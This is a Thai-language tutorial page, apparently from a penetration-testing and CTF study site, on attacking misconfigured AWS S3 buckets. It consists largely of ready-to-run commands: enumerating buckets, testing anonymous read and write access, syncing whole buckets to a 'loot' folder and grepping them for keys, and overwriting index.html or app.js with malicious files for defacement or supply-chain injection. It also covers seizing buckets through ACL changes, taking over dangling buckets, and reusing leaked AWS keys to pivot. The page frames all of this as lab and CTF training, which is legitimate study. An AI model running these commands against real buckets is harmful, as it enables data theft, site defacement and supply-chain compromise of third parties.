AWS S3 Bucket Attacks
S3 Bucket Attacks ครอบคลุมการค้นหาและโจมตี S3 bucket ที่ตั้งค่าผิด: enumeration (หา bucket จากชื่อ/cert/code), การทดสอบ permission (anonymous read/write, ACL, bucket policy), การดึงข้อมูล, write/object overwrite, bucket takeover, และการหา flag/secret บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ & ทำไม S3 รั่วบ่อย
S3 (Simple Storage Service) เก็บไฟล์ใน bucket ที่มีชื่อ globally-unique การรั่วเกิดจาก: bucket ตั้ง public, ACL หลวม (AllUsers/AuthenticatedUsers), bucket policy ผิด, หรือ object ACL เปิด ชื่อ bucket เดาง่าย (เช่น company-backup, company-dev) ทำให้ enumerate ได้ การเข้าถึงมี 3 ระดับ: anonymous (ไม่มี cred), authenticated (มี AWS account ใดก็ได้), และ owner
2. Enumeration — หา bucket
# 1. เดาชื่อจากชื่อบริษัท/โปรเจกต์
# รูปแบบบ่อย: <name>, <name>-backup, <name>-dev, <name>-assets, <name>-logs
# 2. cloud_enum (brute หลาย cloud)
cloud_enum -k companyname -k company
# 3. s3scanner (เช็ค bucket + permission)
s3scanner scan --bucket company-backup
s3scanner scan -f bucket_list.txt
# 4. หาใน DNS/cert/code
# - certificate transparency (crt.sh) — บางทีมี s3 endpoint
# - GitHub dorks: "s3.amazonaws.com" + ชื่อบริษัท
# - หน้าเว็บ: grep -roE '[a-z0-9.-]+\.s3\.amazonaws\.com' (view-source)
# 5. URL patterns
# https://<bucket>.s3.amazonaws.com/
# https://s3.amazonaws.com/<bucket>/
# https://<bucket>.s3.<region>.amazonaws.com/3. ทดสอบ Permission
B=company-backup
# anonymous list
aws s3 ls s3://$B --no-sign-request
# anonymous list (region อื่น)
aws s3 ls s3://$B --no-sign-request --region us-west-2
# authenticated list (ถ้ามี AWS account ตัวเอง)
aws s3 ls s3://$B
# ดู ACL (ใครเข้าถึงได้)
aws s3api get-bucket-acl --bucket $B --no-sign-request
# ดู bucket policy
aws s3api get-bucket-policy --bucket $B --no-sign-request
# ทดสอบ write (anonymous)
echo test > /tmp/t.txt
aws s3 cp /tmp/t.txt s3://$B/test.txt --no-sign-request
# ทดสอบ ACL write (อันตรายสุด — เปลี่ยน ACL ได้)
aws s3api put-bucket-acl --bucket $B --acl public-read-write --no-sign-request| Permission | ผลกระทบ | ทดสอบ |
|---|---|---|
| READ (list) | เห็นรายชื่อ object | s3 ls |
| READ (object) | download ไฟล์ | s3 cp s3://b/file . |
| WRITE | upload/overwrite (deface, malware) | s3 cp file s3://b/ |
| READ_ACP | อ่าน ACL | get-bucket-acl |
| WRITE_ACP | เปลี่ยน ACL = ยึด bucket | put-bucket-acl |
| FULL_CONTROL | ทำได้ทุกอย่าง | — |
4. Exploitation
# download ทั้ง bucket
aws s3 sync s3://$B ./loot --no-sign-request
# หา secret ในไฟล์ที่ได้
grep -rnE 'password|secret|api[_-]?key|AKIA|BEGIN.*PRIVATE|flag' ./loot
# ไฟล์น่าสนใจ: .env, config.json, *.sql, backup, .git, terraform.tfstate
find ./loot -name '.env' -o -name '*.tfstate' -o -name 'config*' -o -name '*.bak'
# terraform state มัก leak secret เต็มๆ
cat ./loot/terraform.tfstate | jq '.resources[].instances[].attributes'# ถ้า write ได้ + bucket โฮสต์ static site → deface
aws s3 cp evil.html s3://$B/index.html --no-sign-request
# ถ้า bucket เสิร์ฟ JS/asset ที่เว็บอื่นโหลด → supply-chain (inject JS)
aws s3 cp evil.js s3://$B/app.js --no-sign-request
# WRITE_ACP → ยึด bucket ทั้งใบ
aws s3api put-bucket-acl --bucket $B --grant-full-control \
id=<your-canonical-id> --no-sign-request5. Bucket Takeover (Dangling)
ถ้าเว็บชี้ CNAME/link ไปยัง bucket ที่ถูกลบแล้ว → สร้าง bucket ชื่อเดียวกันในชื่อเรา = ยึดเนื้อหาที่เว็บนั้นเสิร์ฟ (subdomain takeover ผ่าน S3)
# อาการ: เข้า URL แล้วเจอ 'NoSuchBucket'
curl https://assets.target.com
# <Code>NoSuchBucket</Code> ← ยึดได้!
# สร้าง bucket ชื่อเดียวกัน (ต้อง region เดียวกัน)
aws s3 mb s3://assets.target.com
aws s3 website s3://assets.target.com --index-document index.html
aws s3 cp poc.html s3://assets.target.com/index.html --acl public-read6. Lab Walkthrough
- 1เจอ URL ในหน้าเว็บ:
https://flaws-backup.s3.amazonaws.com/ - 2ลอง list:
aws s3 ls s3://flaws-backup --no-sign-request→ เห็นไฟล์! - 3download:
aws s3 sync s3://flaws-backup ./loot --no-sign-request - 4หา secret:
grep -rnE 'flag|AKIA|secret' ./loot→ เจอ access key ในไฟล์ .env - 5ใช้ key ต่อ:
aws configureด้วย key ที่เจอ →aws sts get-caller-identity - 6pivot: key นี้อาจมีสิทธิ์ IAM → ทำต่อ (ดูหัวข้อ AWS IAM Privilege Escalation)
7. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| AccessDenied ตอน list แต่ download ได้ | list ปิดแต่ object public — เดาชื่อ object ตรงๆ |
| NoSuchBucket | bucket ไม่มี/ถูกลบ — อาจ takeover ได้ |
| AllAccessDisabled | bucket ถูก block public access ระดับ account |
| region error | ลอง --region อื่น (us-east-1, eu-west-1) |
| ไฟล์เยอะ sync ช้า | ใช้ --exclude/--include กรอง หรือ ls ดูก่อน |
| 403 ทุกอย่างแม้ authenticated | ต้อง owner — ลอง enumerate object ชื่อเดาได้ |
8. Indicators & Quick Reference
*.s3.amazonaws.com หรือ s3.amazonaws.com/bucket, error NoSuchBucket (takeover), ชื่อ bucket เดาได้จากชื่อบริษัท- เริ่ม: หา bucket (cloud_enum/code/DNS) → ทดสอบ permission ทุกระดับ
- always ลอง --no-sign-request ก่อน (anonymous)
- ไฟล์ทอง: .env, *.tfstate, config, *.sql, .git, backup
- key ที่เจอใน S3 → pivot ไป IAM privesc
- flag ใน CTF: object ใน bucket, หรือ secret ที่ leak แล้วใช้ต่อ
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอโจทย์นี้: เจอชื่อ/URL ของ S3 bucket จากหน้าเว็บ, source code, หรือ DNS แต่ไม่มี AWS credential เลยสักตัว มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น
- 1ถ้ายังไม่มีชื่อ bucket ตรง ๆ ลองเดาจากชื่อบริษัท/โปรเจกต์:
cloud_enum -k companyname(ติดตั้งก่อนถ้ายังไม่มี:pip install cloud_enum) - 2เช็คหลาย bucket พร้อมกันด้วย s3scanner:
s3scanner scan --bucket company-backupหรือs3scanner scan -f bucket_list.txt - 3ลอง anonymous list (ไม่ต้องมี AWS account เลย):
aws s3 ls s3://<bucket> --no-sign-request— ถ้าเห็นรายชื่อไฟล์ = อ่านได้ - 4ถ้า list ไม่ได้ (AccessDenied) ลองเดาชื่อไฟล์ตรง ๆ:
curl https://<bucket>.s3.amazonaws.com/index.html(list ปิดแต่ object อาจ public) - 5ถ้า list ได้ ดึงทั้ง bucket มาเก็บไว้:
aws s3 sync s3://<bucket> ./loot --no-sign-request - 6grep หา secret ในไฟล์ที่ได้:
grep -rnE 'password|secret|api[_-]?key|AKIA|BEGIN.*PRIVATE|flag' ./loot - 7ทดสอบว่า write ได้ไหม:
echo test > /tmp/t.txt && aws s3 cp /tmp/t.txt s3://<bucket>/test.txt --no-sign-request - 8ดู ACL ว่าใครเข้าถึงได้บ้าง:
aws s3api get-bucket-acl --bucket <bucket> --no-sign-request - 9ถ้าเจอ AWS access key (AKIA...) ในไฟล์ที่ดึงมา ลองใช้ทันที:
aws configure --profile foundแล้วaws sts get-caller-identity --profile found - 10ถ้าเจอ error
NoSuchBucketตอนเข้า URL ที่เว็บชี้มา (เช่น assets.target.com) ให้เช็คว่า claim bucket ชื่อนั้นเองได้ไหม (subdomain takeover)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| เดาชื่อ bucket จากชื่อบริษัท/โปรเจกต์ | - | cloud_enum (pip install cloud_enum) | - |
| สแกน bucket หลายอัน + เช็ค permission | - | s3scanner (pip install s3scanner) | - |
| list/download/write ทดสอบ bucket | aws-cli | sudo apt install awscli -y | - |
| ดู ACL/policy ของ bucket | aws-cli (s3api) | - | - |
| หา key ที่หลุดในไฟล์ dump แล้วต่อยอด privesc | - | pacu / enumerate-iam | - |
| grep/ค้น secret ใน dump ไฟล์ที่ดาวน์โหลดมา | grep, ripgrep | - | - |
| ฝึกโจทย์ S3 misconfig จำลอง | - | - | flaws.cloud |
| อ้างอิง technique S3 เพิ่มเติม | - | - | hackingthe.cloud |
aws-iam-privesc ถ้าเจอ AWS key ในไฟล์ที่ดึงมาจาก bucket, ลอง aws-lambda-attacks ถ้าเจอ source code ที่เชื่อมกับ Lambda function, ลอง gcp-attacks หรือ azure-ad-attacks ถ้าโจทย์จริง ๆ ใช้ GCS/Azure Blob แทน S3, ถ้าไม่มี bucket public เลยแต่มีเว็บแอปอยู่ ลองกลับไปที่ ssrf เพื่อหา metadata endpointหัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้